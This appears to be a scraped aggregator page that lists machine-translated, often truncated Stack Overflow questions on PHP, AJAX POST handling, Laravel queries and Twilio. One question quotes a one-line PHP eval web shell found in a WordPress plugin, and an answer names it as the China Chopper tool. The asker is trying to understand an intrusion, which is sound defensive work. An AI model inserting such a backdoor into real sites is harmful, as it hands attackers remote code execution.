草庐IT

selected_posts

全部标签

javascript - POST 数据在浏览器和 PHP 之间被 chop

我遇到了一个问题,即使用AJAX通过POST发送的大数据集没有进入PHP中的$_POST变量。用户通过网络表单上传Excel/CSV文件,并通过AJAX进行解析。这个特定示例有775条记录,每条记录有13个字段/元素。添加正在提交的其他字段,并且数据集中的元素少于11,000个。根据我对该主题所做的研究,32位浏览器(即Firefox、Chrome等)应该能够处理42.9亿个元素,因此我不认为数据大小是一个问题,尤其是作为响应从文件上传包含所有元素。只有在提交整个表单进行验证并输入数据库时​​,问题才会浮出水面。问题是Firebug和Chrome开发者工具上的控制台显示整个数据集已提交

php - Laravel 在 Eloquent 作用域和查询中使用 select

我正在尝试清理我编写的一些代码。这是当前代码:$message=Message::with('comments')->join('users','messages.created_by','=','users.id')->join('team_user','messages.created_by','=','team_user.user_id')->join('teams','team_user.team_id','=','teams.id')->join('roles','team_user.role_id','=','roles.id')->select('messages.id'

php - 在 wordpress 站点中找到 <?php @eval($_POST ['pass' ]);?> 代码

我在我的一个wordpress插件站点中找到了这段代码。我想它可能会被恶意使用,但它到底做了什么,我能否查明它是否调用了一些我应该注意的其他操作? 最佳答案 此PHP脚本属于ChinaChopper黑客工具包。https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html 关于php-在wordpress站点中找到代码,我们在StackOv

javascript - 无法根据 ajax 请求在 php 中获取 $_POST 值

这是我的index.htmlvarxml=newXMLHttpRequest();xml.onreadystatechange=function(){if(xml.readyState===4&&xml.status===200){console.log(xml.responseText);}}xml.open("POST","ajax.php",true);vardata=newFormData();data.append("name","Sahan");xml.send(data);这是我的ajax.php当我在本地主机上运行时,结果是Notice:Undefinedindex:n

php - 检查 POST 请求是否有字段留空的 Laravel 方法是什么?

要求是更新用户角色。角色可以为空(留空)、一个或多个,如表单字段roles[]中提供的那样。这是View表单:@foreach($rolesas$role)id}}"{{$user->roles->contains($role->id)?'checked':''}}>{{$role->name}}@endforeachUserController::update()中的条件是:if($request->roles){//updateuserroles}除一种情况外,一切正常。有时用户不得不留下来,没有任何角色。if($request->roles)、isset($request->ro

php - 我应该使用存储过程来执行复杂的 SELECT 查询吗?

我正在研究一个相当复杂的SELECT查询。我有多个分层查询嵌套在单个SELECT中,这变得非常难以管理。我遇到了一些需要在多个地方执行内联View的地方,因此在存储过程开始时执行一次这些View然后对整个过程进行一些迭代似乎是一个合理的想法需要的结果。我想知道是否有任何理由不应该或不能执行通过我的PHP代码调用的Oracle存储过程,并将结果集作为OUT参数返回。我倾向于仅使用SP来执行更新/删除/插入,但此查询的庞大规模和复杂性似乎需要对其进行分解。如果这没有任何技术问题,请评论这是好事还是坏事? 最佳答案 Imworkingon

php - 挂断 Twilio 时提交 POST 数据

我有一个使用Twilio运行的应用程序。这个想法是你将调用一个电话号码,twilio会接听并为你提供菜单选项。一旦你按下一个数字,它就会提交发布数据然后挂断(这部分工作正常)答案...我在他们的文档中找到了以下代码。Entersomething,ornot/process_gather.php?Digits=TIMEOUT问题是您需要等到消息结束才能让收集超时。有没有办法让它一开始就这样做,如果用户挂断它会做一些事情,比如转到重定向标签?谢谢!编辑:所以在process_gather.php页面上,我可以将完成状态保存为变量吗?$Completed=$_POST["completed"

php - 过滤器与 $_POST(或 $_GET)

您应该使用哪个来检查是否单击了表单提交按钮?if(isset($_POST['action']&&$_POST['action']=="注册")...或if(isset(filter_input(INPUT_POST,'action'))&&filter_input(INPUT_POST,'action')=="注册")注意:我使用$_POST['action]=='SignUp',因为我也使用'action'数组来删除和注销,并且因为我的一些表单有两个提交按钮,所以我可以区分). 最佳答案 假设您有,你应该使用$_POST.您可以

php - 隐藏 POST/GET 请求 - Flask 和 PHP

我目前正在与一位friend合作开发一款Flash游戏。当玩家完成游戏时,他想要将分数插入数据库。他将本教程用于Flash-http://www.tizag.com/flashTutorial/flashforms.php.他制作的swf效果很好-它发布了数据。问题是我可以看到来自Firebug的请求。这就带来了另一个问题——任何更高级的用户都可以在不玩游戏的情况下插入自己的分数……那么有没有办法隐藏flash游戏的请求呢?解决这个问题的正确方法是什么? 最佳答案 不,实际上没有办法隐藏发出的请求。这是不可能的,如果它在网络浏览器中

php - 使用 post 变量传递表数据

基本上我有一个表,其中包含来自数据库的一堆数字,其中包含用于总计/小计的列。我不打算将任何总数添加到数据库中,但我需要将总数从一页传递到下一页。我似乎无法使用PHP将它们作为post变量正确传递...我想知道首先这是否是一个糟糕的策略,其次我应该怎么做?如果这是可能的,我将如何着手去做?我无法通过使用$_POST['tdname']推导出之间的文本。示例代码:A.PENDINGBALANCECivilAsbestosDomesticTotal1.PendingBalancefromPreviousMonth66000">newcivilreport2.php: